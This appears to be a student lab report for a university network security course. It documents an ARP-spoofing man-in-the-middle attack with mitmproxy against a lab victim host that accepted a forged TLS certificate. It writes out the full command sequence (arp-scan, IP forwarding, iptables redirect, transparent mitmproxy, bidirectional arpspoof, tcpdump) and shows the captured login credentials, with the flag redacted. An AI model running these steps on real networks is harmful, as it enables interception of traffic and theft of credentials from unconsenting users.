Man-in-the-Middle Attack Report

Networks & Security - mitmproxy Project

Berkay Haciibrahimoglu- s1114068
Vintila Andrei Dragos - s1098027

1 Summary

The goal was to observe the connection made by the insecure client on netsec-b. We needed to identify the victim IP address, find the destination it connects to, inspect the visible request content, identify the most sensitive data, and save a packet capture file.

Parameter	Value
Victim IP address	`172.21.152.10`
Attacker (laptop) IP	`172.21.152.200`
Gateway (netsec-a)	`172.21.152.1`
Destination endpoint	`https://sos.cs.ru.nl/teaching/netsec/backoffice/login.html`
Destination server IP	`131.174.9.61`
Most sensitive field	`password`

Retrieved flag (password field): `FLAG{*******} - REDACTED`

The most sensitive data was the value in the password field. It was transmitted in plaintext inside URL-encoded form data, exposed because netsec-b accepted mitmproxy's forged TLS certificate.

2 Detailed Attack Walk-Through

2.1 Physical and Network Setup

A laptop was connected to the same switch as netsec-a and netsec-b. netsec-a was used as the gateway at `172.21.152.1`. After checking the cables and switch ports, the physical setup was working correctly.

The Ethernet interface used for the lab network was `enp2s0`, with IP address `172.21.152.200/23`. Gateway connectivity was verified:

```
ping -c 3 172.21.152.1
```

Result: 3 packets transmitted, 3 received, 0% packet loss. This confirmed that the laptop could reach netsec-a.

A lower-metric default route was added through netsec-a:

```
sudo ip route add default via 172.21.152.1 dev enp2s0 metric 50
```

This made the laptop prefer netsec-a as the gateway. Internet access was then tested:

```
ping -c 3 9.9.9.9
```

Result: 3/3 packets received, 0% packet loss. DNS was tested with:

```
ping -c 3 example.com
```

Result: `example.com` resolved correctly and ping succeeded.

2.2 Identifying the Victim

A passive neighbor check first only showed netsec-a. arp-scan was then used to scan the lab subnet:

```
sudo arp-scan --interface=enp2s0 172.21.152.0/23
```

`172.21.152.10` had a different MAC address from the gateway-related entries, and was therefore treated as the likely netsec-b victim IP. Reachability was checked with:

```
ping -c 3 172.21.152.10
```

Result: 3/3 packets received, 0% packet loss.

2.3 Enabling IP Forwarding

IPv4 forwarding was initially disabled. It was enabled with:

```
sudo sysctl -w net.ipv4.ip_forward=1
```

Verification showed `/proc/sys/net/ipv4/ip_forward = 1`. The local forwarding policy was checked:

```
sudo iptables -S FORWARD
```

Result: `-P FORWARD ACCEPT`.

2.4 Traffic Redirection

The NAT table was checked first and had no extra rules. HTTPS traffic arriving on the lab Ethernet interface was redirected to local port 8080:

```
sudo iptables -t nat -A PREROUTING -i enp2s0 -p tcp --dport 443 -j
    REDIRECT --to-port 8080
```

The rule was verified with:

```
sudo iptables -t nat -S PREROUTING
```

2.5 Starting mitmproxy

mitmproxy was started in transparent mode:

```
mitmproxy --mode transparent --showhost --listen-port 8080
```

It opened successfully and stayed running.

2.6 Traffic Positioning

Two continuous commands were started so that traffic between netsec-b and netsec-a passed through the laptop:

```
sudo arpspoof -i enp2s0 -t 172.21.152.10 172.21.152.1
sudo arpspoof -i enp2s0 -t 172.21.152.1 172.21.152.10
```

Both commands kept running, which was expected.

2.7 Observed Traffic and Retrieved Data

mitmproxy showed captured HTTPS flows. The observed endpoint was:

```
POST https://sos.cs.ru.nl/teaching/netsec/backoffice/login.html
```

Response status: 200, content type: text/html.

One POST flow was opened in mitmproxy. The request body showed URL-encoded form data in plaintext. Visible fields:

```
username = admin
password = FLAG{*******}   % REDACTED
```

2.8 Packet Capture

A packet capture was taken while the setup was active:

```
sudo timeout 90 tcpdump -i enp2s0 host 172.21.152.10 -w mitm-capture.
    pcap
```

Result: 139 packets captured, 141 packets received by filter, 0 packets dropped by kernel. The capture file was checked and appeared valid. It contains traffic involving `172.21.152.10` and `131.174.9.61`.

3 Conclusion

The victim IP was identified as `172.21.152.10`. The destination endpoint was `https://sos.cs.ru.nl/teaching/netsec/backoffice/login.html`. The plaintext request body was observed and the most sensitive value was found in the password field.